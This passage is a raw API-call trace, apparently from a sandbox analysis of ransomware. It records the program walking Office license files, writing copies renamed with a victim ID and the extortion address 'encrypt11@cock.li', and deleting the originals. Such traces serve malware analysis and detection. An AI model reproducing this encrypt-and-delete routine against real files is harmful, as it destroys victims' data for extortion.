(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.475] lstrlenW (lpString=".doc") returned 4 [0142.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.475] lstrlenW (lpString=".docx") returned 5 [0142.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.475] lstrlenW (lpString=".pdf") returned 4 [0142.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.475] lstrlenW (lpString=".xls") returned 4 [0142.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.475] lstrlenW (lpString=".xlsx") returned 5 [0142.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.476] lstrlenW (lpString=".ppt") returned 4 [0142.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.476] lstrlenW (lpString=".zip") returned 4 [0142.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.476] lstrlenW (lpString=".rar") returned 4 [0142.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.476] lstrlenW (lpString=".bz2") returned 4 [0142.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.476] lstrlenW (lpString=".7z") returned 3 [0142.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.477] lstrlenW (lpString=".dbf") returned 4 [0142.477] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.477] lstrlenW (lpString=".1cd") returned 4 [0142.477] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0142.477] lstrlenW (lpString=".jpg") returned 4 [0142.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.477] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9606) returned 1 [0142.477] CloseHandle (hObject=0x54c) returned 1 [0142.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0142.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.479] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.479] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.482] GetLastError () returned 0x0 [0142.482] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2586, lpOverlapped=0x0) returned 1 [0142.505] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2590, lpOverlapped=0x0) returned 1 [0142.506] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.506] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10e, lpOverlapped=0x0) returned 1 [0142.507] SetEndOfFile (hFile=0x550) returned 1 [0142.507] CloseHandle (hObject=0x550) returned 1 [0142.507] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.507] SetEndOfFile (hFile=0x54c) returned 1 [0142.509] CloseHandle (hObject=0x54c) returned 1 [0142.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0142.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.511] lstrlenW (lpString=".doc") returned 4 [0142.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.511] lstrlenW (lpString=".docx") returned 5 [0142.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.511] lstrlenW (lpString=".pdf") returned 4 [0142.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.511] lstrlenW (lpString=".xls") returned 4 [0142.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.511] lstrlenW (lpString=".xlsx") returned 5 [0142.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.511] lstrlenW (lpString=".ppt") returned 4 [0142.512] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.512] lstrlenW (lpString=".zip") returned 4 [0142.512] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString=".rar") returned 4 [0142.512] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString=".bz2") returned 4 [0142.512] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString=".7z") returned 3 [0142.512] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.512] lstrlenW (lpString=".dbf") returned 4 [0142.512] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.512] lstrlenW (lpString=".1cd") returned 4 [0142.512] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0142.512] lstrlenW (lpString=".jpg") returned 4 [0142.512] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.513] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6729) returned 1 [0142.513] CloseHandle (hObject=0x54c) returned 1 [0142.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0142.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.514] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.514] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.514] GetLastError () returned 0x0 [0142.514] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1a49, lpOverlapped=0x0) returned 1 [0142.539] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1a50, lpOverlapped=0x0) returned 1 [0142.540] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.540] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x102, lpOverlapped=0x0) returned 1 [0142.540] SetEndOfFile (hFile=0x550) returned 1 [0142.540] CloseHandle (hObject=0x550) returned 1 [0142.540] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.540] SetEndOfFile (hFile=0x54c) returned 1 [0142.542] CloseHandle (hObject=0x54c) returned 1 [0142.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0142.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.544] lstrlenW (lpString=".doc") returned 4 [0142.545] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".docx") returned 5 [0142.545] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.545] lstrlenW (lpString=".pdf") returned 4 [0142.545] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".xls") returned 4 [0142.545] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".xlsx") returned 5 [0142.545] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.545] lstrlenW (lpString=".ppt") returned 4 [0142.545] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.545] lstrlenW (lpString=".zip") returned 4 [0142.545] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".rar") returned 4 [0142.545] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".bz2") returned 4 [0142.545] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString=".7z") returned 3 [0142.545] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.545] lstrlenW (lpString=".dbf") returned 4 [0142.545] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.545] lstrlenW (lpString=".1cd") returned 4 [0142.545] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0142.545] lstrlenW (lpString=".jpg") returned 4 [0142.545] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.546] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3211) returned 1 [0142.546] CloseHandle (hObject=0x54c) returned 1 [0142.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0142.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.547] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.547] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.548] GetLastError () returned 0x0 [0142.548] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0142.605] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xc90, lpOverlapped=0x0) returned 1 [0142.607] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.607] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x11c, lpOverlapped=0x0) returned 1 [0142.607] SetEndOfFile (hFile=0x550) returned 1 [0142.849] CloseHandle (hObject=0x550) returned 1 [0142.850] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.850] SetEndOfFile (hFile=0x54c) returned 1 [0142.852] CloseHandle (hObject=0x54c) returned 1 [0142.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0142.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.853] lstrlenW (lpString=".doc") returned 4 [0142.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.853] lstrlenW (lpString=".docx") returned 5 [0142.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.854] lstrlenW (lpString=".pdf") returned 4 [0142.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString=".xls") returned 4 [0142.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString=".xlsx") returned 5 [0142.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.854] lstrlenW (lpString=".ppt") returned 4 [0142.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.854] lstrlenW (lpString=".zip") returned 4 [0142.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString=".rar") returned 4 [0142.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString=".bz2") returned 4 [0142.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString=".7z") returned 3 [0142.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.854] lstrlenW (lpString=".dbf") returned 4 [0142.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.854] lstrlenW (lpString=".1cd") returned 4 [0142.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0142.854] lstrlenW (lpString=".jpg") returned 4 [0142.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.855] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3103) returned 1 [0142.855] CloseHandle (hObject=0x54c) returned 1 [0142.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0142.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.856] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.856] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0142.857] GetLastError () returned 0x0 [0142.857] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xc1f, lpOverlapped=0x0) returned 1 [0142.869] WriteFile (in: hFile=0x370, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xc20, lpOverlapped=0x0) returned 1 [0142.870] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.870] WriteFile (in: hFile=0x370, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10a, lpOverlapped=0x0) returned 1 [0142.870] SetEndOfFile (hFile=0x370) returned 1 [0142.870] CloseHandle (hObject=0x370) returned 1 [0142.870] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.870] SetEndOfFile (hFile=0x54c) returned 1 [0142.875] CloseHandle (hObject=0x54c) returned 1 [0142.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0142.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.876] lstrlenW (lpString=".doc") returned 4 [0142.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.876] lstrlenW (lpString=".docx") returned 5 [0142.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.876] lstrlenW (lpString=".pdf") returned 4 [0142.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.876] lstrlenW (lpString=".xls") returned 4 [0142.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.876] lstrlenW (lpString=".xlsx") returned 5 [0142.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.876] lstrlenW (lpString=".ppt") returned 4 [0142.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.876] lstrlenW (lpString=".zip") returned 4 [0142.876] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.877] lstrlenW (lpString=".rar") returned 4 [0142.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.877] lstrlenW (lpString=".bz2") returned 4 [0142.877] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.877] lstrlenW (lpString=".7z") returned 3 [0142.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.877] lstrlenW (lpString=".dbf") returned 4 [0142.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.877] lstrlenW (lpString=".1cd") returned 4 [0142.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0142.877] lstrlenW (lpString=".jpg") returned 4 [0142.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.899] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3380) returned 1 [0142.899] CloseHandle (hObject=0x55c) returned 1 [0142.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft 